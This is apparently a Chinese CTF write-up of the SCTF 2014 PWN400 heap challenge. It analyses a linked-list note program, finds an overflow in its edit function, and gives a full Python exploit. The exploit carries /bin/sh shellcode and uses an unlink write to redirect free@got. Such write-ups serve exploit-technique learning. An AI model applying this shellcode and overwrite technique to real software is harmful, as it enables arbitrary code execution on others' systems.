SCTF 2014 PWN400 分析

Ox9A82發表於2016-05-18

之前沒有分析PWN400,現在再開一篇文章分析一下。

這個日誌是我做題的一個筆記,就是說我做一步題就記錄一下是實時的。所以說可能會有錯誤之類的。

首先程式是經典的筆記本程式,基本上一看到這種筆記本就知道是考堆了吧~

  write(1, "1.New note\n", 0xBu);
  write(1, "2.Show notes list\n", 0x12u);
  write(1, "3.Show note\n", 0xCu);
  write(1, "4.Edit note\n", 0xCu);
  write(1, "5.Delete note\n", 0xEu);
  write(1, "6.Quit\n", 7u);
  write(1, "option--->> ", 0xCu);

功能選單也是很經典。。。。

那我們也按照套路來看看,首先是看下new note功能,看下note是怎麼建立的,以及資料的存放位置。

//IDA 虛擬碼
int __cdecl sub_804897E(int a1)
{
  void *v2; // [sp+1Ch] [bp-Ch]@1

  v2 = malloc(364u);
  write(1, "\nnote title:", 0xCu);
  read(0, (char *)v2 + 12, 63u);
  write(1, "note type:", 0xAu);
  read(0, (char *)v2 + 76, 31u);
  write(1, "note content:", 0xDu);
  read(0, (char *)v2 + 108, 0xFFu);
  *(_DWORD *)v2 = v2;
  write(1, "\n\n", 2u);
  if ( *(_DWORD *)a1 )
  {
    *((_DWORD *)v2 + 2) = *(_DWORD *)a1;
    *(_DWORD *)(*(_DWORD *)a1 + 4) = v2;
    *((_DWORD *)v2 + 1) = 0;
    *(_DWORD *)a1 = v2;
  }
  else
  {
    *(_DWORD *)a1 = v2;
    *((_DWORD *)v2 + 1) = 0;
    *((_DWORD *)v2 + 2) = 0;
  }
  return 0;
}

可以看到這個是一定的結構來組織的,從這裡估計這是一個模仿堆機制的漏洞,而不是真正的堆漏洞。

因為如果是堆漏洞的話,就沒有必要搞這麼麻煩的結構了,直接用堆自己的結構就可以了,當然這只是一個猜測,我也不知道到底是什麼漏洞。

看了一下結構是這樣的

  struct note
{
    DWORD 本塊的指標;
    DWORD 後一塊的指標;
    DWORD 前一塊的指標;
    byte title[64];
    byte type[32];
    byte content[256];
    
  }

可見是一個雙向連結串列的存在。

注意這裡,IDA F5出來的虛擬碼是錯誤的

  *(_DWORD *)(*(_DWORD *)a1 + 4) = v2;
  *((_DWORD *)v2 + 1) = 0;

這裡明顯是有邏輯問題的,看了一下彙編果然是外掛的問題,彙編如下。

arg_0是函式的引數,也就是虛擬碼裡的a1

var_c是分配的堆的指標,也就是虛擬碼裡的v2

 

我們再來看看edit功能,因為edit功能往往是漏洞多發的地方。尤其是ZCTF給我留下了這個陰影。。都是edit功能出的問題,而show和delete功能只是作為觸發條件的。

來看下edit功能:

有一個相當明顯的堆溢位,看來我們是真的找對地方了。問題就是出在edit功能中。

再來看看其他部分吧,因為這麼多的功能肯定是有用的,要不也沒必要搞這麼複雜了。

首先考慮的是leak的問題,因為首先我們分配的堆的地址是不確定的,要是想往堆裡寫點東西乾點什麼的話,肯定是要leak堆地址的。

如果不用堆地址的話,那麼我們可能需要去改got表,因為堆溢位的本質就是任意地址寫,肯定要leak出某個函式的真實地址。

我現在是在沒有進一步分析程式的情況下做出的猜測。

說一下想法,因為目前沒找到其他的漏洞。所以玩法應該就是利用堆溢位構造偽堆塊,然後用空堆塊合併機制實現unlink操作,進行任意地址寫。寫的目標應該是某個要呼叫函式的got表,

把它的內容改成system函式的虛擬地址或者是某個可以執行shellcode的地址。但是在此之前還是要leak記憶體,就是像上一段說的那樣,必須要進行leak才行。

leak記憶體的想法就是找show功能選項。而要達到觸發unlink巨集還需要一個條件就是一個可控的free()。

後來想了一下,發現自己的整體想法都是有問題的。這道題考的根本就不是堆漏洞,而是用雙向連結串列模擬堆。我一直都把它當成堆漏洞來搞是完全錯誤的,比如我的想法是偽造堆塊誘發合併觸發unlink,

這個思路對於這道題是完全錯誤的。因為這個題有它自己的連結串列機制如果去偽造堆塊的話,會破壞它的連結串列是堆無法正常釋放。

那麼正確的思路應該是利用那個雙向連結串列,實現一個類似於DWORD SHOOT的利用,我們看一下delete函式是不是這樣的。

果然如此,經典的dword shoot寫法,

前塊的後向指標=當前的後向指標

後塊的前向指標=當前的前向指標

再看下連結串列遍歷機制,   *(_DWORD *)a1 = *(_DWORD *)(*(_DWORD *)a1 + 8);它是這樣去遍歷雙向連結串列的,所以覆蓋頭不會出現問題。

此外就是它的地址問題了,怎麼樣得到system的地址。我看了一下其他功能沒有發現其他漏洞,那麼很有可能是沒辦法得到system的地址的。我們再來看一下保護

蛤蛤,沒有開nx,這個題啊,一顆賽艇。說明我們可以到處去寫shellcode了。

而show功能又可以leak出塊的地址,這樣的話就沒有任何問題了。正常的利用堆溢位去構造unlink造成dword shoot,造成任意地址寫。把free@got.plt改成我們在堆中的shellcode的地址。而shellcode的地址怎麼獲取呢?通過show功能就可以看到了,到這裡整個的思路就很清晰了

 

 1 from zio import *
 2 import re
 3 
 4 shellcode =  ""
 5 shellcode += "\x68\x2F\x73\x68\xFF\x68\x2F\x62\x69\x6E\x8D\x1C\x24\x31\xC0\x88\x43\x07\x50\x53\x89\xE1\x8D\x51\x04\x83\xC0\x0B\xCD\x80\x31\xC0\x40\x31\xDB\xCD\x80"
 6 
 7 
 8 length=len(shellcode)
 9 
10 io=zio('./pwn400',timeout = 99999)
11 
12 io.read_until('--->>')#create a
13 io.writeline('1')
14 io.read_until('title:')
15 io.writeline('a')
16 io.read_until('type:')
17 io.writeline('a')
18 io.read_until('content:')
19 io.writeline('a')
20 
21 io.read_until('--->>')#create b
22 io.writeline('1')
23 io.read_until('title:')
24 io.writeline('b')
25 io.read_until('type:')
26 io.writeline('b')
27 io.read_until('content:')
28 io.writeline('b')
29 
30 io.read_until('--->>')#create c
31 io.writeline('1')
32 io.read_until('title:')
33 io.writeline('c')
34 io.read_until('type:')
35 io.writeline('c')
36 io.read_until('content:')
37 io.writeline('c')
38 
39 io.read_until('--->>')#show note b
40 io.writeline('3')
41 io.read_until('title:')
42 io.writeline('b')
43 data=io.read_until('type:')
44 note1_add = re.compile("0x(\w+)")
45 result = note1_add.findall(data)
46 note1 = int(result[0],16)
47 print 'dbg address of b'+hex(note1)
48 
49 io.read_until('--->>')#edit note a
50 io.writeline('4')
51 io.read_until('title:')
52 io.writeline('a')
53 io.read_until('content:')
54 sc1=shellcode+'a'*(260-length)+l32(note1)+l32(0x804A450-0x8)+l32(note1-260)
55 #io.gdb_hint()
56 io.writeline(sc1)
57 #io.gdb_hint()
58 
59 io.read_until('--->>')#delete note b
60 io.writeline('5')
61 io.read_until('location:')
62 io.gdb_hint()
63 end=hex(note1).lstrip("0x")
64 #print end
65 io.writeline(end)
66 io.gdb_hint()
67 
68 io.interact()

 

相關文章